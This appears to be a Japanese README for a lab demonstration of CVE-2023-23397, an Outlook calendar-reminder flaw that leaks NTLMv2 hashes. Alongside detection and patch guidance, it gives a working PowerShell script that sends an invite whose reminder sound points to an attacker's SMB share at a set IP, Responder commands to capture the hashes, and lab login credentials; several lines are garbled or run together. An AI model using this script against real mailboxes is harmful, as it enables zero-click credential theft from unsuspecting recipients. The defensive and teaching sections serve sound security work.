
このプロジェクトは、Microsoft Outlook for Windows における重大なゼロクリック NTLM リレー脆弱性である CVE-2023-23397 の検出、悪用、および緩和をデモンストレーションするものです。カレンダー招待を介して悪用されるこの脆弱性により、攻撃者は ユーザーの操作なしで NTLMv2 ハッシュを取得できます。
🛡️ CVSS スコア: 9.8(Critical)
🖥️ 影響を受けるバージョン: Outlook 2013、2016、2019、Microsoft 365(2023年3月14日のパッチ適用前)
Outlook のカレンダーリマインダーは、PidLidReminderFileParameter MAPI プロパティを使用してカスタムサウンドを再生するよう設定できます。Outlook は UNC パスを検証しないため、リマインダーがトリガーされるとリモート SMB リクエストが可能になります。
\\attacker-ip\share\sound.wav
これにより、NTLMv2 ハッシュが攻撃者制御のサーバーに送信され、その後以下のことが可能になります:
MFCMAPI を使用してカレンダー項目を検査し、PidLidReminderFileParameter(MAPI タグ 0x851F001F)に悪意のある値が含まれていないか確認します。
QuickStart > Open Folder > Calendar の順に選択しますTable > Set Columns に移動します0x808A001F を追加して、リマインダーファイルのパスを表示します2023年3月14日のパッチ(例:KB5002044)をインストールします。このパッチでは以下が導入されます:
IsFileZoneLocalIntranetOrTrusted()テスト結果:
Outlook は イベント ID 1008 を記録し、信頼されていない SMB パスへのアクセスをブロックします。
192.168.1.0/24)を定義します📂 構築済みポリシー:OutlookMitigation.ipsec
| システム | ユーザー名 | パスワード |
|---|---|---|
| Kali Linux | kali | kali |
| Windows 10 VM | CVE-2023-23397 | vbox@123 |
| メールアカウント | victim@exploit.com | vbox@123 |
sudo apt install responder
sudo responder -I eth0 -v
Kali と被害者 VM が同じネットワーク上にあることを確認します。
インストール:
セットアップ:
exploit.com[email protected]# Initialize Outlook COM object
$Outlook = New-Object -ComObject Outlook.Application
$Namespace = $Outlook.GetNamespace("MAPI")
$ip = "192.168.1.7" # Attacker IP here
$emails = @("[email protected]") # List of emails
# Create a new appointment item
$Appointment = $Outlook.CreateItem(1) # 1 corresponds to olAppointmentItem
# Set appointment properties
$Appointment.Subject = "CVE Presentation Demo Demo"
$Appointment.Body = "This is a test meeting, please ignore it."
$Appointment.Location = "Dubai"
$Appointment.Start = (Get-Date).AddSeconds(1) # Start time set to 1 second from now
$Appointment.Duration = 30 # Duration in minutes
# Configure reminder settings
$Appointment.ReminderSet = $true
$Appointment.ReminderMinutesBeforeStart = 0
$Appointment.ReminderOverrideDefault = $true
$Appointment.ReminderPlaySound = $true
$Appointment.ReminderSoundFile = "\\$ip\nonexistent\sound.wav"
foreach ($email in $emails) {
$Appointment.Recipients.Add($email) | Out-Null
}
# Save and send the appointment
$Appointment.Save()
$Appointment.Send()
Responder は被害者システムから NTLMv2 ハッシュをキャプチャします。
PidLidReminderFileParameter に UNC パスが含まれていることを確認します。